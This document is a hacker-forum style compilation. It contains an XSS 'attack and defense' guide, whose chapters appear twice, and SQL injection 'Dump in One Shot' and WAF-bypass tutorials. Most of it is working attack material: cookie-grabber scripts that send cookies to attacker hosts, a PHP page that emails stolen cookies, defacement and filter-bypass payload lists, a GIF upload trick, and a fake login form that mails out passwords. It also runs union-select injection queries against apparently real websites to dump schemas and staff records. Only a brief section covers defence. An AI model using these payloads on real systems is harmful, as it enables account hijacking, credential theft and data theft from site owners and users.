Cross Site Scripting - Attack and Defense guide
________________________________________________________________________/ /
| / /
| Cross Site Scripting - Attack and Defense guide / /
|_____________________________________________________________________/ /
/ /
Summary:
1> What is XSS ?
2> Code a XSS vulnerability
3> Make a cookie grabber
4> Securing XSS
5> Deface Methods
6> Filteration Bypassing
7> Flash attak
8> XSS upload
9> phishing XSS
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.: Chapter 1 - What is XSS ? :.\ \ |
|___/ /___________________________________________\ \___|
/ / (From Wikipedia, the free encyclopedia) \ \
/___/ \___\
Cross-zone scripting is a browser exploit taking
advantage of a vulnerability within a zone-based security solution.
The attack allows content (scripts) in unprivileged zones
to be executed with the permissions of a privileged zone - i.e.
a privilege escalation within the client (web browser) executing the script.
The vulnerability could be:
* a web browser bug which under some conditions allows content (scripts)
in one zone to be executed with the permissions of a higher privileged zone.
* a web browser configuration error; unsafe sites listed in privileged zones.
* a cross-site scripting vulnerability within a privileged zone
A common attack scenario involves two steps.
The first step is to use a Cross Zone Scripting vulnerability
to get scripts executed within a privileged zone. To complete the attack,
then perform malicious actions on the computer using insecure ActiveX components.
This type of vulnerability has been exploited to silently install
various malware (such as spyware, remote control software, worms and such)
onto computers browsing a malicious web page.
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 2 - Code a XSS vulnerability :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
Open notepad and copy/past this script:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
after, save this page: index.html
open a new notpad and Copy/past that:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>
save this page in: XSS.php
close notepad
open index.html in firefox
enter a value and search
return on the page of research and enter <script>alert('XSS')</script>
send the form
bingo a dialogue box !
_______________________________________
/ http://127.0.0.1 dit: X \
|________________________________________|
| |
| |
| ^ |
| / \ |
| / | \ XSS |
| / . \ |
| ------- |
| ______ |
| | OK | |
| ------ |
|________________________________________|
XSS Vulnerability is here...
____ ____
/ / \ \
______/ /____________________________________\ \______
| / / \ \ |
| / /.: Chapter 3 - Make a cookie grabbers :.\ \ |
|___/ /__________________________________________\ \___|
/ / \ \
/___/ \___\
insert this script in a vulnerable page (for exemple a guestbook)
<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = your site)
Open notepad and make a page: cookie.php
copy/past this code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>
It is not enough any more but for the pirate,
than to await the reception of the email and to read the cookie there.
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 4 - Securing XSS :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
FIX it:
for fix XSS Vulnerability use htmlentities:
in line 16 Remplace:
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
By:
<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
use htmlspecialchars() function in PHP ;)
other function:
htmlentities() quotes
strip_tags()
...
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 5 -deface Methods :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
defacer with a XSS and a rather simple thing
here are the principal ones…
defacement by an image:
<IMG SRC="http://hax0r.com/Haxored.png">
or a video flash:
<EMBED SRC="http://hax0r.com/Haxored.swf"
more knew: the redirection:
<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>
also see:
<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 6 - Filteration Bypassing :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
actually it's not that easy to bypass htmlspecialchars()
here some other example of xss Bypass:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'>><marquee><h1>XSS</h1></marquee>
"><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">
window.alert("Xyli !");
"/></a></><img src=1.gif onerror=alert(1)>
[color=red' onmouseover="alert('xss')"]mouse over[/color]
<body onLoad="alert('XSS');"
<body onunload="javascript:alert('XSS');">
[url=javascript:alert('XSS');]click me[/url]
<script language="JavaScript">alert('XSS')</script>
<img src="javascript:alert('XSS')">
'); alert('XSS
<font style='color:expression(alert(document.cookie))'>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script>alert('XSS');</script>
<script>alert(1);</script>
Here and there is of it full with others
google is your friends
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 7 - Flash attack :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
Flash is used for complex animations, simulations,
*creation of games etc..
What’s interesting for us is the getURL() action.
This function allows us to redirect the end user to another page.
its syntax is built as follows:
getURL(url:String, [window: String,[method:String]])
exemple:
getURL("http://victime.com/login.php?logout=true","_self");
url: indicate the URL of the site
window: specify within which framework the request must take place (_self, _blank…)
method: method of request GET or POST (by defect GET)
here the handling of the actionscript and the Javascript to post a alert:
getURL("javascript:alert('XSS'");
one will show the danger of this facility,
one could for example post the cookie of visitors in this manner:
getURL("javascript:alert(document.cookie)")
cookie stealer in flash ?
not but there is technique to do it
exemple
in a flash file:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
and in Haxored.js:
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
For secure it simple solution: do not allow flash files in your web app
____ ____
/ / \ \
______/ /______________________________________\ \______
| / / \ \ |
| / /.: Chapter 8 - XSS upload :.\ \ |
|___/ /____________________________________________\ \___|
/ / \ \
/___/ \___\
Make Haxored.gif in paint for exemple
after open Haxored.GIF in notepad
delete all line and insert this:
GIF89a<script>alert("XSS")</script>
save and close it
upload Haxored.gif in a free image hoster look your image
and XSS is here...
dont take Mozillia Firefox for look your image but Mozillia dont run your alert
use Internet explorer
Why add GIF89a ?
well some upload like this one, check that the 'GIF89a' code
is contained in the image as in any .GIF respective.
the vulnerability of this upload results from the checking 'GIF89a' code
for confirmation but of nothing the possible malicious codes contained in this image.
GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>
to know the code for another image format,
it is just enough to open an image jpg or other with a text editor,
for example a png file: ‰PNG
PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIF
BMP = BMFÖ
For secure it dont check getimagesize() only
____ ____
/ / \ \
______/ /______________________________________\ \______
| / / \ \ |
| / /.: Chapter 9 - Phishing XSS :.\ \ |
|___/ /____________________________________________\ \___|
/ / \ \
/___/ \___\
you understood the goal of the phishing ?
and XSS ?
in our example it will be necessary to find a Vulnerable site to the XSS
and to inject there oneself in a form to oneself directly in the URL the following code:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
you will have it to guess script will simulate a form of connextion and send the value to you
example of file php for sending this email (mail.php):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
the user will believe that the waiter and overloads some and will not suspect nothing
I think that you understood this principle ?
____ ____
/ / \ \
______/ /______________________________________\ \______
| / / \ \ |///
| / /.: Adesh Nandkishor Kolte/
:.\ \ |(An Independent Cyber Security Researcher In india)////
|___/ /____________________________________________\ \___|
/ / \ \
/___/ \___\
| / /
| Cross Site Scripting - Attack and Defense guide / /
|_____________________________________________________________________/ /
/ /
Summary:
1> What is XSS ?
2> Code a XSS vulnerability
3> Make a cookie grabber
4> Securing XSS
5> Deface Methods
6> Filteration Bypassing
7> Flash attak
8> XSS upload
9> phishing XSS
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.: Chapter 1 - What is XSS ? :.\ \ |
|___/ /___________________________________________\ \___|
/ / (From Wikipedia, the free encyclopedia) \ \
/___/ \___\
Cross-zone scripting is a browser exploit taking
advantage of a vulnerability within a zone-based security solution.
The attack allows content (scripts) in unprivileged zones
to be executed with the permissions of a privileged zone - i.e.
a privilege escalation within the client (web browser) executing the script.
The vulnerability could be:
* a web browser bug which under some conditions allows content (scripts)
in one zone to be executed with the permissions of a higher privileged zone.
* a web browser configuration error; unsafe sites listed in privileged zones.
* a cross-site scripting vulnerability within a privileged zone
A common attack scenario involves two steps.
The first step is to use a Cross Zone Scripting vulnerability
to get scripts executed within a privileged zone. To complete the attack,
then perform malicious actions on the computer using insecure ActiveX components.
This type of vulnerability has been exploited to silently install
various malware (such as spyware, remote control software, worms and such)
onto computers browsing a malicious web page.
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 2 - Code a XSS vulnerability :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
Open notepad and copy/past this script:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
after, save this page: index.html
open a new notpad and Copy/past that:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>
save this page in: XSS.php
close notepad
open index.html in firefox
enter a value and search
return on the page of research and enter <script>alert('XSS')</script>
send the form
bingo a dialogue box !
_______________________________________
/ http://127.0.0.1 dit: X \
|________________________________________|
| |
| |
| ^ |
| / \ |
| / | \ XSS |
| / . \ |
| ------- |
| ______ |
| | OK | |
| ------ |
|________________________________________|
XSS Vulnerability is here...
____ ____
/ / \ \
______/ /____________________________________\ \______
| / / \ \ |
| / /.: Chapter 3 - Make a cookie grabbers :.\ \ |
|___/ /__________________________________________\ \___|
/ / \ \
/___/ \___\
insert this script in a vulnerable page (for exemple a guestbook)
<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = your site)
Open notepad and make a page: cookie.php
copy/past this code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>
It is not enough any more but for the pirate,
than to await the reception of the email and to read the cookie there.
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 4 - Securing XSS :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
FIX it:
for fix XSS Vulnerability use htmlentities:
in line 16 Remplace:
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
By:
<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
use htmlspecialchars() function in PHP ;)
other function:
htmlentities() quotes
strip_tags()
...
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 5 -deface Methods :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
defacer with a XSS and a rather simple thing
here are the principal ones…
defacement by an image:
<IMG SRC="http://hax0r.com/Haxored.png">
or a video flash:
<EMBED SRC="http://hax0r.com/Haxored.swf"
more knew: the redirection:
<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>
also see:
<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 6 - Filteration Bypassing :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
actually it's not that easy to bypass htmlspecialchars()
here some other example of xss Bypass:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'>><marquee><h1>XSS</h1></marquee>
"><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">
window.alert("Xyli !");
"/></a></><img src=1.gif onerror=alert(1)>
[color=red' onmouseover="alert('xss')"]mouse over[/color]
<body onLoad="alert('XSS');"
<body onunload="javascript:alert('XSS');">
[url=javascript:alert('XSS');]click me[/url]
<script language="JavaScript">alert('XSS')</script>
<img src="javascript:alert('XSS')">
'); alert('XSS
<font style='color:expression(alert(document.cookie))'>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script>alert('XSS');</script>
<script>alert(1);</script>
Here and there is of it full with others
google is your friends
____ ____
/ / \ \
______/ /___________________________________\ \______
| / / \ \ |
| / /.: Chapter 7 - Flash attack :.\ \ |
|___/ /_________________________________________\ \___|
/ / \ \
/___/ \___\
Flash is used for complex animations, simulations,
*creation of games etc..
What’s interesting for us is the getURL() action.
This function allows us to redirect the end user to another page.
its syntax is built as follows:
getURL(url:String, [window: String,[method:String]])
exemple:
getURL("http://victime.com/login.php?logout=true","_self");
url: indicate the URL of the site
window: specify within which framework the request must take place (_self, _blank…)
method: method of request GET or POST (by defect GET)
here the handling of the actionscript and the Javascript to post a alert:
getURL("javascript:alert('XSS'");
one will show the danger of this facility,
one could for example post the cookie of visitors in this manner:
getURL("javascript:alert(document.cookie)")
cookie stealer in flash ?
not but there is technique to do it
exemple
in a flash file:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
and in Haxored.js:
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
For secure it simple solution: do not allow flash files in your web app
____ ____
/ / \ \
______/ /______________________________________\ \______
| / / \ \ |
| / /.: Chapter 8 - XSS upload :.\ \ |
|___/ /____________________________________________\ \___|
/ / \ \
/___/ \___\
Make Haxored.gif in paint for exemple
after open Haxored.GIF in notepad
delete all line and insert this:
GIF89a<script>alert("XSS")</script>
save and close it
upload Haxored.gif in a free image hoster look your image
and XSS is here...
dont take Mozillia Firefox for look your image but Mozillia dont run your alert
use Internet explorer
Why add GIF89a ?
well some upload like this one, check that the 'GIF89a' code
is contained in the image as in any .GIF respective.
the vulnerability of this upload results from the checking 'GIF89a' code
for confirmation but of nothing the possible malicious codes contained in this image.
GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>
to know the code for another image format,
it is just enough to open an image jpg or other with a text editor,
for example a png file: ‰PNG
PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIF
BMP = BMFÖ
For secure it dont check getimagesize() only
____ ____
/ / \ \
______/ /______________________________________\ \______
| / / \ \ |
| / /.: Chapter 9 - Phishing XSS :.\ \ |
|___/ /____________________________________________\ \___|
/ / \ \
/___/ \___\
you understood the goal of the phishing ?
and XSS ?
in our example it will be necessary to find a Vulnerable site to the XSS
and to inject there oneself in a form to oneself directly in the URL the following code:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
you will have it to guess script will simulate a form of connextion and send the value to you
example of file php for sending this email (mail.php):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
the user will believe that the waiter and overloads some and will not suspect nothing
I think that you understood this principle ?
____ ____
/ / \ \
______/ /______________________________________\ \______
| / / \ \ |///
| / /.: Adesh Nandkishor Kolte/
:.\ \ |(An Independent Cyber Security Researcher In india)////
|___/ /____________________________________________\ \___|
/ / \ \
/___/ \___\
BasicAbout Sqli Dios BY Mr.Cyb3rwarrior
Hi Guyzz
ADesh kolte(Mr.Cyb3rwarrior)
Today i am making a tutorial on basic of Dump in One Shot [DIOS]
I already know tutorial by Ajkaro and by Zen javanicus , Code ninja is best on this DIOS
And i too learned from their tutorials.But still some of my friends don't understand DIOS and want to learn this and some of friends messaged me about this to learn.So now i think to make a tutorial on DIOS. So lets start
======================================================
First see this query :->
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>'))))a)
In above query we will get all DATABASES
Now there (@a) is called variable and we are selecting this variable from information_schema.schemata and then we are concatenating all the schema names in the 'IN' clause
So i practiced above query like this :->
(
[b]
/*1st select is selecting variable*/
select (@a) from
(
/*2nd select storing 0x00 i variable. So if you want to store something then store in this 2nd select.Also we select third select after that but seperated with comma(,) */
select (@a:=0x00),
(
/*Now this third select. In this select we write our main query like to select database query,table query(information_schema.tables),column query(information_schema.columns).
Also we write our condition in this third select see where part here :-> where (@a)
Also we can use 2 or more than 2 condition in this third select :-> where table_name!='information_schema' and (@a) in
Don't forget to use and to use more than one condition
See more condition :-> where table_name!='information_schema' and table_name like 'us%' and (@a) in
Like this we can use many condition
With that condition like we get only that table_name which start with us
So i want to say you that you guys should play with sql queries so that you learn more and can use your desired condition which get great result.
*/
select (@a) from (information_schema.schemata) where (@a) in
(
/*Now in third select after 'IN' Clause we use our concat part.Note that this is use so that we see our desire result on page.
Like Table Name :-> Admin we see like this on page*/
@a:=concat
(
/*Here we use @a variable mean till now what we do is using variable come here so that we our desire result using that variable.So always include this variable in concat part*/
@a,schema_name,'<br>'
)
)
)
)
a)
So i wrote all which is essential to note while doing DIOS.
That way i learned DIOS
In short :->
1st select use to select variable
2nd select use to store value in variable.We can store multiple value in different different variable but with comma seperated.Like :->
(@a:=0x00),(@tbl:=0x00),(@count:=0x00)
Seel all those variable storing value and seperated with comma
3rd select use to write our main query , conditions, concating
Now see this in live action :->
DATABASES :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,
(
select (@a) from
(
select (@a:=0x00),
(
select (@a) from (information_schema.schemata) where (@a) in
(
@a:=concat
(
@a,schema_name,'<br>'
)
)
)
)
a)
,5,6,7,8,9,10--+
We write this while practicing and then we see we write correct then to check we write our above query like this :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from(select (@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in(@a:=concat(@a,schema_name,'<br>'))))a),5,6,7,8,9,10--+
We see this result :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from(select (@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a,'<br>',schema_name,'<br>'))))a),5,6,7,8,9,10--+
Result
Notice the change when we use <br> before schema_name
Ok now to select Table names with more experiment in concat part :->
First with learning mode ====>
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,
(
select (@a) from
(
select (@a:=0x00),
(
select (@a) from (information_schema.tables) where (@a) in
(
@a:=concat
(
@a,'<br><font color=red size=5>Table name :-> </font>',table_name,'<br>'
)
)
)
)
a),5,6,7,8,9,10--+
Then in Real mode :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from (select (@a:=0x00),(select (@a) from (information_schema.tables) where (@a) in(@a:=concat(@a,'<br><font color=red size=5>Table name :-> </font>',table_name,'<br>'))))a),5,6,7,8,9,10--+
Result :->
=====================================================
Now to get table names which not belongs from information schema :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from(select (@a:=0x00),(select (@a) from (information_schema.tables) where table_schema !='information_schema' and (@a) in (@a:=concat(@a,'<br><font color=red size=5>Table name :-> </font>',table_name,'<br>'))))a),5,6,7,8,9,10--+
Now we get only those tables which not belongs to information schema
What i use there :-> where table_schema!='information_schema' and (@a) in
Please note this we write information_scehma in under ' ' you can also use to change this in hex format if necessary
Result :->
Please from now i will not write Experiment mode like :->
(
select (@a) etc etc etc
)
Because i now thinking you guys learned this way for practicing.Whenever you guys confuse then write the query first in this manner mean experiment mode and then you see query correct then check it after little modify this query like i did this before
======================================================
Now to get column names :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from(select (@a:=0x00),(select (@a) from (information_schema.columns) where table_schema !='information_schema' and (@a) in (@a:=concat(@a,'<br><font color=red size=5>Column name :-> </font>',column_name,'<br>'))))a),,5,6,7,8,9,10--+
Result :->
Now to get both table names and column names :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from(select (@a:=0x00),(select (@a) from (information_schema.columns) where table_schema !='information_schema' and (@a) in (@a:=concat(@a,'<br><font color=lime size=5>Table name :-> </font>',table_name,'<br><font color=red size=5>Column name :-> </font>',column_name,'<br>'))))a),5,6,7,8,9,10--+
Result :->
See we got both table names and column names in ONE SHOT Big Grin
======================================================//
/************Extracting Column from Tables
Now table name :-> staff
Table name is "staff'
Column name use "name" and "email"
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from(select (@a:=0x00),(select (@a) from staff where (@a) in (@a:=concat(@a,'<br><font color=red size=5>Name :-> </font>',name,'<br><font color=magenta size=5>Email :-> </font>',email,'<br>'))))a),5,6,7,8,9,10--+
Result :->
Sorry here in website Email Column Is Blank For this reason Email not printed
=====================================================
Time to do more experiment :->
[b]Get table name start with "st" and column name start with "st" :->
http://www.nhlegendsofhockey.com/news.php?id=-'65' union select 1,2,3,(select (@a) from(select (@a:=0x00),(select (@a) from (information_schema.columns) where table_schema!='information_schema' and table_name like 'st%' and column_name like 'st%' and (@a) in (@a:=concat(@a,'<br><font color=lime size=5>Table name :-> </font>',table_name,'<br><font color=red size=5>Column name :-> </font>',column_name,'<br>'))))a),5,6,7,8,9,10--+
Result :->
I use condition there using LIKE Operator. So now this all upto you how you play with this and experiment with dios and Practice
This is all basic tutorial on DIOS from myside.If you like this then i will write more on advance DIOS
That's all Hope you guys learn something
Thanks for Reading
=====================================================
Union Based SQL Injection (WAF Bypassing) Tutorial By Mr.cyb3rwarrior_Ades
After Our Tutorial on Basics Of SQL Injection.
Union based SQL injection + WAF Bypassing By Adesh
Today i m Going To Discuss About Union based SQL injection And WAF Bypassing Techniques.
Lets Start Injecting.
Target Site:http://radiozhakkasmarathi.in/full_review.php?id=3
Add Single Quote (') at the End Of The URL
http://radiozhakkasmarathi.in/full_review.php?id=3'
Lets Balance Our Query for Further Injecting.
--
http://radiozhakkasmarathi.in/full_review.php?id=3--+
http://radiozhakkasmarathi.in/full_review.php?id=3-- -
http://radiozhakkasmarathi.in/full_review.php?id=3%23
http://radiozhakkasmarathi.in/full_review.php?id=3;
Here Is A Small Explanation on Balance and Comment in our Injection.
After Balancing Our Query . Next is Count Total Number Of Columns
